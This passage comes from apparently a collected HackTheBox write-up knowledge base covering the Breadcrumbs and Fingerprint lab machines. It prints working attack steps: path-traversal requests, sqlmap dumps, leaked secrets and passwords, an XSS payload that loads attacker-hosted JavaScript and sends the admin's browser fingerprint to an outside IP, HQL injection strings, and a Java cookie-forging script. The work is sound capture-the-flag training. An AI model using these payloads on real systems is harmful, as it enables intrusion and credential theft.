        <tr>
            <td>Add new features to password manager</td>
            <td>Not started</td>
            <td>To get promoted, hopefully lol</td>
        </tr>
</table>

</html>
```

now need development user
Go to the location on windows where sticky notes are and download the
plum.sqlite
plum.sqlite-shm
plum.sqlite-wal

``` bash
juliette@BREADCRUMBS C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState>dir
 Volume in drive C has no label.
 Volume Serial Number is 7C07-CD3A

 Directory of C:\Users\juliette\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState

01/15/2021  04:10 PM    <DIR>          .
01/15/2021  04:10 PM    <DIR>          ..
01/15/2021  04:10 PM            20,480 15cbbc93e90a4d56bf8d9a29305b8981.storage.session
11/29/2020  03:10 AM             4,096 plum.sqlite
01/15/2021  04:10 PM            32,768 plum.sqlite-shm
01/15/2021  04:10 PM           329,632 plum.sqlite-wal
               4 File(s)        386,976 bytes
               2 Dir(s)   6,313,762,816 bytes free
```

you can use msf to get a rev shell to download files,

Open sql (I copied back to my box using SMB)

Get all notes then ssh as development with password in note

``` bash
juliette: jUli901./())!
development: fN3)sN5Ee@g
administrator: [MOVED]
```

#### Development

Go to C:\Development

There Linux binary
has useful information inside

``` bash
development@BREADCRUMBS C:\Users\development>cd C:\Development

development@BREADCRUMBS C:\Development>dir
 Volume in drive C has no label.                    
 Volume Serial Number is 7C07-CD3A                  
                                                    
 Directory of C:\Development                        
                                                    
01/15/2021  04:03 PM    <DIR>          .            
01/15/2021  04:03 PM    <DIR>          ..           
11/29/2020  03:11 AM            18,312 Krypter_Linux
               1 File(s)         18,312 bytes       
               2 Dir(s)   6,310,158,336 bytes free
```

#### Krypter_Linux

ida open Krypter_Linux

Inside there is command and you can see what it does when on box you do

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb192.jpg)

``` bash
PS C:\Development> curl 'http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords' -UseBasicParsing


StatusCode        : 200                                                                                               
StatusDescription : OK                                                                                                
Content           : selectarray(1) {                                                                                  
                      [0]=>                                                                                           
                      array(1) {                                                                                      
                        ["aes_key"]=>                                                                                 
                        string(16) "k19D193j.<19391("                                                                 
                      }                                                                                               
                    }                                                                                                 
                                                                                                                      
RawContent        : HTTP/1.1 200 OK                                                                                   
                    Keep-Alive: timeout=5, max=100                                                                    
                    Connection: Keep-Alive                                                                            
                    Content-Length: 96                                                                                
                    Content-Type: text/html; charset=UTF-8                                                            
                    Date: Tue, 23 Feb 2021 19:24:09 GMT                                                               
                    Server: Apache/2.4.46 (Win64) ...                                                                 
Forms             :                                                                                                   
Headers           : {[Keep-Alive, timeout=5, max=100], [Connection, Keep-Alive], [Content-Length, 96], [Content-Type, 
                    text/html; charset=UTF-8]...}                                                                     
Images            : {}                                                                                                
InputFields       : {}                                                                                                
Links             : {}                                                                                                
ParsedHtml        :                                                                                                   
RawContentLength  : 96 
```

Gets aes key but can do sqlmaps through the url but port forward so you can do on kali

``` bash
ssh -N -L 1234:127.0.0.1:1234 development@10.10.10.228

┌──(root💀kali)-[~/hackthebox/machine/Breadcrumbs]
└─# curl 'http://127.0.0.1:1234/index.php?method=select&username=administrator&table=passwords'
selectarray(1) {
  [0]=>
  array(1) {
    ["aes_key"]=>
    string(16) "k19D193j.<19391("
  }
}
```

Run sqlmaps with flag --dump against

``` bash
sqlmap -u http://127.0.0.1:1234/index.php\?method\=select\&username\=administrator\&table\=passwords --dump

Database: bread
Table: passwords
[1 entry]
+----+---------------+------------------+----------------------------------------------+
| id | account       | aes_key          | password                                     |
+----+---------------+------------------+----------------------------------------------+
| 1  | Administrator | k19D193j.<19391( | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= |
+----+---------------+------------------+----------------------------------------------+
```

gives out put string
``` bash
H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=
```

With a key
``` bash
k19D193j.<19391(
```

Base 64 decode string
After base 64 decrypt do aes decrypt
Use cyberchef with input and output mode raw
Key in Latin and IV in hex (iv =0000000000000000)

go to following cyberchef url:

``` bash
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',false)AES_Decrypt(%7B'option':'Latin1','string':'k19D193j.%3C19391('%7D,%7B'option':'Hex','string':'0000000000000000000000000000000'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':'undefined'%7D)&input=SDJkRnovak53dFNUV0RVUm90OUpCaFdNUDZYT2RtY3BncXZZSEczNVFLdz0
```

and finally get administrator's password:

``` bash
p@ssw0rd!@#$9890./
```

then get the root flag:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Breadcrumbs]
└─# ssh administrator@10.10.10.228
administrator@10.10.10.228's password: 
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
                                                    
administrator@BREADCRUMBS C:\Users\Administrator>whoami
breadcrumbs\administrator                        
                                                 
administrator@BREADCRUMBS C:\Users\Administrator>dir
 Volume in drive C has no label.                  
 Volume Serial Number is 7C07-CD3A                
                                                  
 Directory of C:\Users\Administrator              
                                                  
01/26/2021  09:06 AM    <DIR>          .          
01/26/2021  09:06 AM    <DIR>          ..         
01/15/2021  03:56 PM    <DIR>          3D Objects 
01/15/2021  03:56 PM    <DIR>          Contacts   
02/09/2021  07:08 AM    <DIR>          Desktop    
01/15/2021  03:56 PM    <DIR>          Documents  
01/15/2021  03:56 PM    <DIR>          Downloads  
01/15/2021  03:56 PM    <DIR>          Favorites  
01/15/2021  03:56 PM    <DIR>          Links      
01/15/2021  03:56 PM    <DIR>          Music      
01/15/2021  04:00 PM    <DIR>          OneDrive   
01/15/2021  03:57 PM    <DIR>          Pictures   
01/15/2021  03:56 PM    <DIR>          Saved Games
01/15/2021  03:57 PM    <DIR>          Searches   
01/15/2021  03:56 PM    <DIR>          Videos     
               0 File(s)              0 bytes     
              15 Dir(s)   6,308,880,384 bytes free
                                                  
administrator@BREADCRUMBS C:\Users\Administrator>type Desktop\root.txt
a47ac3139f51cdd4a4d30614eb277101
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb193.jpg)


#### Summary of knowledge

 - LFI
 - phpsessid and jwt token forge
 - makeup file upload request package bypass upload restriction
 - .sqlite leak password
 - ida analyse binary file
 - port forwarding
 - sqlmap dump secrets

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end breadcrumbs -->

</details>

<a id="case-fingerprint"></a>

## 多层认证与加密状态

LFI、auth_secondary、JWT 和 HQL 共同构成认证链。AES-ECB 下的用户标识构造与 SUID 文件读取分支保留完整脚本和前提。

<p class="kb-provenance">来源 fingerprint · 原记录 2022-02-03 · 46 个代码块 · 6 处图片引用</p>

<details class="kb-evidence" id="record-fingerprint">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start fingerprint -->

#### introduce

OS: Linux
Difficulty: Insane
Points:	50
Release:	04 Dec 2021
IP:	10.10.11.127

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2141.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### NMAP

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# nmap -p- -sV -sC -v --min-rate=10000 10.10.11.127
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 90:65:07:35:be:8d:7b:ee:ff:3a:11:96:06:a9:a1:b9 (RSA)
|   256 4c:5b:74:d9:3c:c0:60:24:e4:95:2f:b0:51:84:03:c5 (ECDSA)
|_  256 82:f5:b0:d9:73:18:01:47:61:f7:f6:26:0a:d5:cd:f2 (ED25519)
80/tcp   open  http    Werkzeug httpd 1.0.1 (Python 2.7.17)
|_http-title: mylog - Starting page
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
8080/tcp open  http    Sun GlassFish Open Source Edition  5.0.1
| http-methods: 
|   Supported Methods: GET HEAD POST PUT DELETE TRACE OPTIONS
|_  Potentially risky methods: PUT DELETE TRACE
|_http-title: secAUTH
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

We have a couple interesting ports, both HTTP ports seem to be security applications. One for a python program called “mylog” and the other for “secAuth”:

Both sites require logins to use most of their functions. Instead we can start looking into what both of these are doing. As expected, this first server is a python server:

``` bash
http://fingerprint.htb/

[200 OK] Country[RESERVED][ZZ], 
HTML5, 
HTTPServer
[Werkzeug/1.0.1 Python/2.7.17], 
IP[10.129.117.121], 
Python[2.7.17], 
Script, 
Title
[mylog - Starting page], 
Werkzeug[1.0.1], 
X-UA-Compatible[IE=edge]
```

The second is unusual, it’s a glassfish server which I’ve never seen before:

``` bash
http://fingerprint.htb:8080/

[200 OK] Country[RESERVED][ZZ],
HTML5, 
HTTPServer
[GlassFish Server Open Source Edition  5.0.1], 
IP[10.129.117.121], 
Java[2.3][Servlet/3.1], 
Script, 
Sun-GlassFish
[5.0.1][Open Source Edition], 
Title
[secAUTH], 
X-Powered-By[Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition  5.0.1  Java/Private Build/1.8)], 
X-UA-Compatible[IE=edge]
```

We only really have /login and /admin on the first site, the second site has a few more directories to work with:

We can start fuzzing general exploits and eventually find LFI in /admin/view which let’s view files. There’s some interesting usernames that could lead us to a potential foothold, such as flask. If we look into his home directory, we see the web-app’s source code. We can request the database that contains the user information and see if we can get a login:

``` bash
GET /admin/view/../../../../../../../../../../../../../../../../home/flask/app/users.db HTTP/1.1
Host: fingerprint.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

This seems to contain a password:

``` bash
admin:u_will_never_guess_this_password
```

We can grab app.py and see we have access to the config password:

``` bash
from flask import Flask, redirect, request, render_template, session, g, url_for, send_file, make_response
from .auth import check

import os
from os import listdir
from os.path import isfile, join
import io

LOG_PATH = "/data/logs/"

app = Flask(__name__)

app.config['SECRET_KEY'] = 'SjG$g5VZ(vHC;M2Xc/2~z('

@app.before_request
def load_user():
uid = session.get("user_id")
g.uid = uid

@app.route("/")
def main():
return render_template('index.html')

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == 'POST':
user = do_auth()
if user:
session["user_id"] = user[1]
return redirect(url_for("admin"), code=200)

return show_login()


def filter_logs(ip, logs):
if ip.startswith('127.0.'):
return '\n'.join(logs)
return '\n'.join(filtered_logs)


@app.route("/admin")
def admin():
#log_files = [(f, os.path.getsize(join(LOG_PATH, f))) for f in listdir(LOG_PATH) if isfile(join(LOG_PATH, f))]
log_names = [f for f in listdir(LOG_PATH) if isfile(join(LOG_PATH, f))]
log_files = []
for name in log_names:
f = open(join(LOG_PATH, name), 'r')
data = f.readlines()
f.close()
log_files.append((name, len(filter_logs(request.remote_addr, data))))

site_content=render_template('admin.html', log_files=log_files)

if g.uid is None or not g.uid:
resp = make_response(site_content, 302)
resp.headers['Location'] = '/login'
return resp

return site_content

@app.route("/admin/view/<path:log_path>")
def logs_view(log_path):

try:
path = LOG_PATH + log_path
with open(path, 'r') as file:
data = file.readlines()
return filter_logs(request.remote_addr, data)
except Exception as e:
return "No such log found!"

return None

@app.route("/admin/delete/<path:log_path>")
def logs_delete(log_path):

try:
path = LOG_PATH + log_path
os.remove(path)
return redirect(url_for("admin"))
except Exception as e:
return "No such log found!"

return data

def do_auth():
user = request.form.get('username')
password = request.form.get('password')

return check(user, password)

def show_login():
return render_template('login.html')
```

``` bash
SjG$g5VZ(vHC;M2Xc/2~z(
```

We also have the source code used to check authentication:

``` bash
import sqlite3

def check(user, password):

from .util import build_safe_sql_where

conn = sqlite3.connect('users.db')
cursor = conn.cursor()

cond = build_safe_sql_where({"username": user, "password": password})

query = "select * from users " + cond

cursor.execute(query)

rows = cursor.fetchall()

for x in rows:
return x

return None
```

We can check how SQL is made “safe” by grabbing it from the util file:

``` bash
def build_safe_sql_where(m):
query = " where 1=1"
for (key, value) in m.items():
if not value or "'" in value or "\"" in value or " " in value:
return " where 1=0"
else:
query = query + " and "+ key+"='"+ str(value)+"'"

return query
```

#### Foothold

We can look back to the creds we found earlier from users.db and sign in as the admin. We have auth.log which is available to us and reflects sign in attempts on port 8080. We can easily get XSS using a simple payload and it gets reflected back to us via the log file:

The log file clears every minute or so. We can try PHP payloads instead however they don’t seem to be executed. (It’s a flask app so it won’t use PHP). We can go back to looking at app.py and see that any logs from localhost are filtered out so we may not be able to see execution regardless. Capturing it in burp also shows us something else interesting:

``` bash
uid=admin&auth_primary=u_will_never_guess_this_password&auth_secondary=<script+src=%3d"http%3a//fingerprint.htb%3a8080//resources/js/login.js"></script>
```

After submitting this, we see there’s reference to a FingerprintID() function:

``` bash
document.getElementById("auth_secondary").value = getFingerPrintID()
```

We can go to login.js and see the source code for this function:

``` bash
function getFingerPrintID() {
    let fingerprint = navigator.appCodeName + navigator.appVersion + (navigator.cookieEnabled ? "yes" : "no") + navigator.language + navigator.platform + navigator.productSub + navigator.userAgent + navigator.vendor + screen.availWidth + "" + screen.availHeight + "" + screen.width + "" + screen.height + "" + screen.orientation.type + "" + screen.pixelDepth + "" + screen.colorDepth + Intl.DateTimeFormat().resolvedOptions().timeZone;

    for (const plugin of navigator.plugins) {
        fingerprint += plugin.name + ",";
    }
    for (const mime of navigator.mimeTypes) {
        fingerprint += mime.type + ",";
    }
    return MD5(fingerprint)
}
```

We can see that fingerprint is made up of a huge amount of information from the person navigating to the page then MD5 hashed. The MD5 hasing function can be seen at the top of the page:

``` bash
var MD5 = function (d) {
    var r = M(V(Y(X(d), 8 * d.length)));
    return r.toLowerCase()
};
```

It makes reference to a load of sub functions. We can copy this over to our local machine and reuse it to steal the admin’s fingerprint. We can create the following:

``` bash
var MD5 = function (d) {
    var r = M(V(Y(X(d), 8 * d.length)));
    return r.toLowerCase()
};

function M(d) {
    for (var _, m = "0123456789ABCDEF", f = "", r = 0; r < d.length; r++) _ = d.charCodeAt(r), f += m.charAt(_ >>> 4 & 15) + m.charAt(15 & _);
    return f
}

function X(d) {
    for (var _ = Array(d.length >> 2), m = 0; m < _.length; m++) _[m] = 0;
    for (m = 0; m < 8 * d.length; m += 8) _[m >> 5] |= (255 & d.charCodeAt(m / 8)) << m % 32;
    return _
}

function V(d) {
    for (var _ = "", m = 0; m < 32 * d.length; m += 8) _ += String.fromCharCode(d[m >> 5] >>> m % 32 & 255);
    return _
}

function Y(d, _) {
    d[_ >> 5] |= 128 << _ % 32, d[14 + (_ + 64 >>> 9 << 4)] = _;
    for (var m = 1732584193, f = -271733879, r = -1732584194, i = 271733878, n = 0; n < d.length; n += 16) {
        var h = m, t = f, g = r, e = i;
        f = md5_ii(f = md5_ii(f = md5_ii(f = md5_ii(f = md5_hh(f = md5_hh(f = md5_hh(f = md5_hh(f = md5_gg(f = md5_gg(f = md5_gg(f = md5_gg(f = md5_ff(f = md5_ff(f = md5_ff(f = md5_ff(f, r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 0], 7, -680876936), f, r, d[n + 1], 12, -389564586), m, f, d[n + 2], 17, 606105819), i, m, d[n + 3], 22, -1044525330), r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 4], 7, -176418897), f, r, d[n + 5], 12, 1200080426), m, f, d[n + 6], 17, -1473231341), i, m, d[n + 7], 22, -45705983), r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 8], 7, 1770035416), f, r, d[n + 9], 12, -1958414417), m, f, d[n + 10], 17, -42063), i, m, d[n + 11], 22, -1990404162), r = md5_ff(r, i = md5_ff(i, m = md5_ff(m, f, r, i, d[n + 12], 7, 1804603682), f, r, d[n + 13], 12, -40341101), m, f, d[n + 14], 17, -1502002290), i, m, d[n + 15], 22, 1236535329), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 1], 5, -165796510), f, r, d[n + 6], 9, -1069501632), m, f, d[n + 11], 14, 643717713), i, m, d[n + 0], 20, -373897302), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 5], 5, -701558691), f, r, d[n + 10], 9, 38016083), m, f, d[n + 15], 14, -660478335), i, m, d[n + 4], 20, -405537848), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 9], 5, 568446438), f, r, d[n + 14], 9, -1019803690), m, f, d[n + 3], 14, -187363961), i, m, d[n + 8], 20, 1163531501), r = md5_gg(r, i = md5_gg(i, m = md5_gg(m, f, r, i, d[n + 13], 5, -1444681467), f, r, d[n + 2], 9, -51403784), m, f, d[n + 7], 14, 1735328473), i, m, d[n + 12], 20, -1926607734), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 5], 4, -378558), f, r, d[n + 8], 11, -2022574463), m, f, d[n + 11], 16, 1839030562), i, m, d[n + 14], 23, -35309556), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 1], 4, -1530992060), f, r, d[n + 4], 11, 1272893353), m, f, d[n + 7], 16, -155497632), i, m, d[n + 10], 23, -1094730640), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 13], 4, 681279174), f, r, d[n + 0], 11, -358537222), m, f, d[n + 3], 16, -722521979), i, m, d[n + 6], 23, 76029189), r = md5_hh(r, i = md5_hh(i, m = md5_hh(m, f, r, i, d[n + 9], 4, -640364487), f, r, d[n + 12], 11, -421815835), m, f, d[n + 15], 16, 530742520), i, m, d[n + 2], 23, -995338651), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 0], 6, -198630844), f, r, d[n + 7], 10, 1126891415), m, f, d[n + 14], 15, -1416354905), i, m, d[n + 5], 21, -57434055), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 12], 6, 1700485571), f, r, d[n + 3], 10, -1894986606), m, f, d[n + 10], 15, -1051523), i, m, d[n + 1], 21, -2054922799), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 8], 6, 1873313359), f, r, d[n + 15], 10, -30611744), m, f, d[n + 6], 15, -1560198380), i, m, d[n + 13], 21, 1309151649), r = md5_ii(r, i = md5_ii(i, m = md5_ii(m, f, r, i, d[n + 4], 6, -145523070), f, r, d[n + 11], 10, -1120210379), m, f, d[n + 2], 15, 718787259), i, m, d[n + 9], 21, -343485551), m = safe_add(m, h), f = safe_add(f, t), r = safe_add(r, g), i = safe_add(i, e)
    }
    return Array(m, f, r, i)
}

function md5_cmn(d, _, m, f, r, i) {
    return safe_add(bit_rol(safe_add(safe_add(_, d), safe_add(f, i)), r), m)
}

function md5_ff(d, _, m, f, r, i, n) {
    return md5_cmn(_ & m | ~_ & f, d, _, r, i, n)
}

function md5_gg(d, _, m, f, r, i, n) {
    return md5_cmn(_ & f | m & ~f, d, _, r, i, n)
}

function md5_hh(d, _, m, f, r, i, n) {
    return md5_cmn(_ ^ m ^ f, d, _, r, i, n)
}

function md5_ii(d, _, m, f, r, i, n) {
    return md5_cmn(m ^ (_ | ~f), d, _, r, i, n)
}

function safe_add(d, _) {
    var m = (65535 & d) + (65535 & _);
    return (d >> 16) + (_ >> 16) + (m >> 16) << 16 | 65535 & m
}

function bit_rol(d, _) {
    return d << _ | d >>> 32 - _
}

function objToString(obj) {
    var str = '';
    for (var p in obj) {
        str += p + ':' + obj[p] + ',';
    }
    return str;
}


function getFingerPrintID() {
    let fingerprint = navigator.appCodeName + navigator.appVersion + (navigator.cookieEnabled ? "yes" : "no") + navigator.language + navigator.platform + navigator.productSub + navigator.userAgent + navigator.vendor + screen.availWidth + "" + screen.availHeight + "" + screen.width + "" + screen.height + "" + screen.orientation.type + "" + screen.pixelDepth + "" + screen.colorDepth + Intl.DateTimeFormat().resolvedOptions().timeZone;

    for (const plugin of navigator.plugins) {
        fingerprint += plugin.name + ",";
    }
    for (const mime of navigator.mimeTypes) {
        fingerprint += mime.type + ",";
    }
    return MD5(fingerprint)
}

location.href="http://10.10.14.25:8000/"+getFingerPrintID();
```

We can put this into a login.js file of our own and include it onto the page using:

``` bash
<script src="http://10.10.14.25:8000/login.js"></script>
```

Our final request is:

``` bash
uid=admin&auth_primary=u_will_never_guess_this_password&auth_secondary=<script+src%3d"http%3a//10.10.14.25%3a8000/login.js"></script>
```

We can get the fingerprint of the admin:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/Fingerprint]
└─# python2 -m SimpleHTTPServer                                                                                                 1 ⨯
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.11.127 - - [03/Feb/2022 08:37:03] "GET /login.js HTTP/1.1" 200 -
10.10.11.127 - - [03/Feb/2022 08:37:03] code 404, message File not found
10.10.11.127 - - [03/Feb/2022 08:37:03] "GET /962f4a03aa7ebc0515734cf398b0ccd6 HTTP/1.1" 404 -
10.10.11.127 - - [03/Feb/2022 08:38:03] "GET /login.js HTTP/1.1" 200 -
10.10.11.127 - - [03/Feb/2022 08:38:03] code 404, message File not found
10.10.11.127 - - [03/Feb/2022 08:38:03] "GET /962f4a03aa7ebc0515734cf398b0ccd6 HTTP/1.1" 404 -
```

Next is to actually get logged in, we don’t have a username or password however can look into the docs of glassfish and see that it uses HQL (Not SQL) and try HQLi:

``` bash
'962f4a03aa7ebc0515734cf398b0ccd6'
```

After my query, I get the following error:

``` bash
org.hibernate.exception.JDBCConnectionException: Unable to acquire JDBC Connection
java.lang.IllegalArgumentException: org.hibernate.hql.internal.ast.QuerySyntaxException
```

We can look through some resources online and find a general payload syntax:

 - [Hibernate Query Language Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/HQL%20Injection.md)

We can try using a logical query and bypass the parts of the query that we don’t know:

``` bash
uid=x' OR SUBSTRING(username,1,1)='m' and ''='&auth_primary=x&auth_secondary=962f4a03aa7ebc0515734cf398b0ccd6
```

We’re finally in however still no shell, we probably need another exploit. We can see there’s a file upload function on the main page, all files that are uploaded get placed in /images

This doesn’t get us particularly far. What’s more interesting is our cookie:

``` bash
Cookie: JSESSIONID=fb8c54276d03b86ceee7d0244dcb; user=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBQ0ZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxtMXZaR1ZzTGxWelpYS1VCTmR6NDErNWF3SUFCRWtBQW1sa1RBQUxabWx1WjJWeWNISnBiblIwQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TUFBaHdZWE56ZDI5eVpIRUFmZ0FCVEFBSWRYTmxjbTVoYldWeEFINEFBWGh3QUFBQUFuUUFRRGRsWmpVeVl6STFNV1k0TURRMFkySXhPRGN3TVRNNU9USTRPVEZrTUdVMU9HTmxPVEU1TkdSbE4yWTFNelZpTVdJMFptRTJZbUptWlRBNE5qYzRaalowQUJSTVYyYzNaMVZTTVVWdFdEZFZUbmh6U25oeFduUUFDMjFwWTJobFlXd3hNak0xIn0.6dfequ2JzMYm2A6wgo6SU_pJWzWgqmGaChbRiXiEgTw
```

We can decode this and see there’s a serialized object:

``` bash
sr!com.admin.security.src.model.User s_k I idL fingerprintt Ljava/lang/String;L passwordq~ L usernameq~ xp t@7ef52c251f8044cb187013992891d0e58ce9194de7f535b1b4fa6bbfe08678f6t LWg7gUR1EmX7UNxsJxqZt micheal1235
```

I didn’t have much luck with serialization. Instead we think back to /backups and see if there’s any useful java files. We can bruteforce them and find Profile.java and User.java:

``` bash
// http://fingerprint.htb:8080/backups/Profile.java
package com.admin.security.src.model;

import com.admin.security.src.profile.UserProfileStorage;
import lombok.Data;

import java.io.File;
import java.io.IOException;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.List;

@Data
public class Profile implements Serializable {
    private static final long serialVersionUID = 3995854114743474071L;

    private final List<String> logs;
    private final boolean adminProfile;

    private File avatar;

    public static Profile getForUser(final User user) {
        // fetch locally saved profile
        final File file = user.getProfileLocation();

        Profile profile;

        if (!file.isFile()) {
            // no file -> create empty profile
            profile = new Profile(new ArrayList<>(), user.isAdmin());
            try {
                user.updateProfile(profile);
            } catch (final IOException ignored) {
            }
        }

        // init logs etc.
        profile = new UserProfileStorage(user).readProfile();

        return profile;

    }

}
```

``` bash
// http://fingerprint.htb:8080/backups/User.java
package com.admin.security.src.model;

import com.admin.security.src.utils.FileUtil;
import com.admin.security.src.utils.SerUtils;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

import javax.persistence.*;
import java.io.File;
import java.io.IOException;
import java.io.Serializable;
import java.nio.file.Paths;

// import com.admin.security.src.model.UserProfileStorage;
@AllArgsConstructor
@NoArgsConstructor
@Entity
@Data
@Table(name = "users")
public class User implements Serializable {
    private static final long serialVersionUID = -7780857363453462165L;

    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    @Column(name = "id")
    protected int id;

    @Column(name = "username")
    protected String username;

    @Column(name = "password")
    protected String password;

    @Column(name = "fingerprint")
    protected String fingerprint;

    public File getProfileLocation() {
        final File dir = new File("/data/sessions/");
        dir.mkdirs();

        final String pathname = dir.getAbsolutePath() + "/" + username + ".ser";
        return Paths.get(pathname).normalize().toFile();
    }

    public boolean isAdmin() {
        return username.equals("admin");
    }

    public void updateProfile(final Profile profile) throws IOException {
        final byte[] res = SerUtils.toByteArray(profile);
        FileUtil.write(res, getProfileLocation());
    }
}
```

We can see where our session is going to be written, in our case it’d be in micheal1235.ser however we want a session in admin.ser. We can do this be unserializing our current cookie value, changing ourselves to admin then re-serializing. Below is a convenient script made by sakertooth (https://github.com/sakertooth?tab=repositories):

``` bash
package com.admin.security.src.model;

import java.io.Serializable;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.IOException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;

/*
    Quick disclaimer that I didnt get to see all the code so I made some generalizations (maybe I didnt need it idk 🤷)
    This may or may not work.

    That being said, the way I understand it is that Serializable allows for serialization and deserialization (obviously)
    but only considers the fields when doing so. As such, the methods dont get serialized in any way, but all the fields remain.

    For more info: https://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html
*/

public class User implements Serializable {
    private static final long serialVersionUID = -7780857363453462165L;

    private int id;
    private String username;
    private String password;
    private String fingerprint;

    public User() {
        id = 0;
        username = "";
        password = "";
        fingerprint = "";
    }

    int getId() {
        return id;
    }

    String getUsername() {
        return username;
    }

    String getPassword() {
        return password;
    }

    String getFingerprint() {
        return fingerprint;
    }

    void setId(int id) {
        this.id = id;
    }

    void setUsername(String username) {
        this.username = username;
    }

    void setPassword(String password) {
        this.password = password;
    }

    void setFingerPrint(String fingerprint) {
        this.fingerprint = fingerprint;
    }
}

/*
    The program takes in a file containing your serialized user (base64).
    It then deserializes it, changes the username to admin,
    serializes it back, and prints it to the console as base64.
*/
class Program {
    public static void main(String[] args) {

        if (args.length < 1) {
            System.out.println("usage: ./program <base64 serialized user>");
            return;
        }

        try {
            byte[] serializedUserBytes = Base64.getDecoder().decode(args[0]);
            ByteArrayInputStream serializedUserInputStream = new ByteArrayInputStream(serializedUserBytes);

            ObjectInputStream objectInputStream = new ObjectInputStream(serializedUserInputStream);
            User user = (User)objectInputStream.readObject();

            System.out.println("User successfully deserialized:");
            System.out.println("ID: " + user.getId());
            System.out.println("Username: " + user.getUsername());
            System.out.println("Password: " + user.getPassword());
            System.out.println("Fingerprint: " + user.getFingerprint());

            System.out.println("Changing username to 'admin' and serializing back...");
            user.setUsername("admin");

            ByteArrayOutputStream serializedUserOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedUserOutputStream);
            objectOutputStream.writeObject(user);

            String serializedAdminUserBase64 = Base64.getEncoder().encodeToString(serializedUserOutputStream.toByteArray());
            System.out.println("Serialization of original user but with the name to 'admin': " + serializedAdminUserBase64);
        }
        catch (IOException | ClassNotFoundException ex) {
            System.out.println(ex.getMessage());
        }
    }
}
```

The output of which is:

``` bash
User successfully deserialized:
ID: 2
Username: micheal1235
Password: LWg7gUR1EmX7UNxsJxqZ
Fingerprint: 7ef52c251f8044cb187013992891d0e58ce9194de7f535b1b4fa6bbfe08678f6
Changing username to 'admin' and serializing back...
Serialization of original user but with the name to 'admin': rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAAnQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMWI0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQABWFkbWlu
```

We can resign our cookie using the secret from earlier: SjG$g5VZ(vHC;M2Xc/2~z(. After doing so, we have access to “recent logs”:

